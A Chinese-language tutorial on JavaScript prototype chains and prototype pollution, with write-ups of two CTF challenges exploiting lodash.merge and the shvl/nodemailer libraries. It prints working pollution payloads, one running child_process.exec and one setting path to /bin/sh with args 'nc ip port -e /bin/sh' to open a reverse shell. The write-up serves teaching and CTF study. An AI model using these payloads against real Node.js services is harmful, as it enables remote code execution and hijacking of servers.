JavaScript的继承与原型链

继承这个特性对于学习java和c++的人来说不会陌生,但javascript的继承同前两种语言不同,它是动态的,并且没有一个明确的类。对于js,定义一个类本质上就是定义一个构造函数。

//所以可以像这样以创建函数的方式创建一个类
function a(){
    b=2
    this.func = () => console.log(b)
}
obj = new a() //实例对象obj
obj.func()

在javascript中,一切都是对象,他也只有对象这一种结构。而对象和对象间又存在继承关系。

var test = {
    a:1 ,
    m: function(){
        console.log(this.a);
  }
};
var p = Object.create(test);//p继承test

p.a=4;//继承test的变量
p.m();//继承test的函数
/**result
4
**/

每个实例对象(object)都有一个私有属性(__proto__)指向它的构造函数的原型对象(prototype),每个实例对象还有一个属性(constructor)指向原型的构造函数。该原型对象也有一个自己的原型对象(__proto__),层层向上直到一个对象的原型对象为null。根据定义,null 没有原型,并作为这个原型链中的最后一个环节。

function test(){
    b=2
    this.func = () => console.log(b)
}
obj = new test()
obj.func()

test.prototype === obj.__proto__
test.prototype.constructor === test
obj.__proto__.constructor === test
  1. 原型
    任何对象都有一个原型对象,这个原型对象由对象的内置属性proto指向它的构造函数的prototype指向的对象,即任何对象都是由一个构造函数创建的
  2. 原型链
    原型链的核心就是依赖对象__proto__的指向,当访问的属性在该对象不存在时,就会向上从该对象构造函数的prototype的进行查找,直至查找到Object的原型null为止。

原型链污染

原理

javascript的动态机制导致了它的继承也是动态的

var parents = {
    mom:"Ellie",
    dad:"Tom"
};
var son = Object.create(parents);
var daughter=Object.create(parents);

console.log(son.mom+","+son.dad);

daughter.__proto__.mom="Shana";
daughter.__proto__.dad="Bob";
console.log(son.mom+","+son.dad);

/**
 * result
Ellie,Tom
Shana,Bob
 */
}

son和daughter继承自同一个对象parents,因为动态继承,当我们修改daughter原型的变量时,son继承的变量也随之改变。利用这一特性,就可以污染对象的原型链,使得所有继承原型的对象都具有同一属性。

基础利用

发生原型链污染的必要条件就是需要一个可控的对象键值
对于语句object[a][b] = value,如果可以控制a、b、value的值,将a设置为__proto__,我们就可以给object对象的原型设置一个b属性,值为value,这样所有继承object的对象都具有属性b,值为value。
实际能够产生这种条件的一般有:

  1. 对象合并(merge)
    //简单的merge
    function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
    }
    let object1 = {}
    let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')//JSON解析
    merge(object1, object2)
    console.log(object1.a, object1.b)
    object3 = {}
    console.log(object3.b)

    __proto__在JSON解析中会被认为是一个真正的键值,其他情况则会被认为是一个属性值处理。

  2. 对象克隆
    利用clone()函数,本质也是将对象合并到一个空对象中。

比较经典的题目有Code-Breaking 2018 Thejs
网上的分析文章已经足够全面,我这里只简单讲解一下
源码:

const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')

const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({
    name: 'thejs.session',
    secret: randomize('aA0', 16),
    resave: false,
    saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // define the template engine
    fs.readFile(filePath, (err, content) => {
        if (err) return callback(new Error(err))
        let compiled = lodash.template(content)
        let rendered = compiled({...options})

        return callback(null, rendered)
    })
})
app.set('views', './views')
app.set('view engine', 'ejs')

app.all('/', (req, res) => {
    let data = req.session.data || {language: [], category: []}
    if (req.method == 'POST') {
        data = lodash.merge(data, req.body)
        req.session.data = data
    }

    res.render('index', {
        language: data.language, 
        category: data.category
    })
})

app.listen(3000, () => console.log(`Example app listening on port 3000!`))

问题代码:

if (req.method == 'POST') {
    data = lodash.merge(data, req.body)
    req.session.data = data
}

这里将post获取的数据存入session,用到的函数lodash.merge
跟进函数分析源码


var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';

var result = attempt(function() {
  return Function(importsKeys, sourceURL + 'return ' + source)
  .apply(undefined, importsValues);
});

这里发现只要控制sourceURL参数,就可以通过构造chile_process.exec()来执行任意代码
sourceURL不能直接赋值,但它通过options对象来获取,options默认不存在sourceURL属性,所以未空,我们可以为options的原型添加一个sourceURL属性,来控制sourceURL的值
payload:

{"__proto__":{"sourceURL":"\nglobal.process.mainModule.constructor._load('child_process').exec('calc')//"}}

利用第三方库的原型链污染

原型链污染可以结合一些第三方库的漏洞经行利用,实现RCE
在Antctf中,8-bit pub这道题就考察了shvl库
部分代码:

const send = require("../utils/mail");
const shvl = require("shvl");
module.exports = {
    home: function(req, res) {
        return res.sendView("admin.html");
    },
    email: async function(req, res) {
        let contents = {};
        Object.keys(req.body).forEach((key) => {
            shvl.set(contents, key, req.body[key]); //post传入key的值
        });
        contents.from = '"admin" <[email protected]>';
        try {
            await send(contents); //发送邮件
            return res.json({
                message: "Success."
            });
        } catch (err) {
            return res.status(500).json({
                message: err.message
            });
        }
    },
};

查询shvl库,发现存在原型链污染,作者过滤了__proto__,但仍可以利用constructor.prototype进行污染

const shvl = require("shvl");
const a = {}, b = {};
shvlset(a, "constructor.prototype.a", 123);//__proto__被过滤,但可以利用 constructor.prototype进行污染
console.log(b.a); //输出123

成功污染了原型链,此时需要发送邮件来触发,这里使用了nodemailer库
查找库的源码

...
//存在child_process命令执行
const spawn = require('child_process').spawn;
...
//参数可控
try {
    sendmail = this._spawn(this.path, args);
}
···
args参数赋值方法
if (this.args) {
    // force -i to keep single dots
    args = ['-i'].concat(this.args).concat(envelope.to);
} else {
    args = ['-i'].concat(envelope.from ? ['-f', envelope.from] : []).concat(envelope.to);
}

此时我们只需要污染Object的args参数和path参数,就可以指向任意命令。
但需要注意题⽬要让流程进⼊sendmail命令,还需要污染Object.sendmail为true
payload:

{
"constructor.prototype.path": "/bin/sh",
"constructor.prototype.args": [
"-c",
"nc ip port -e /bin/sh" //反弹shell
],
"constructor.prototype.sendmail": true
}

"孓然一身 , 了无牵挂"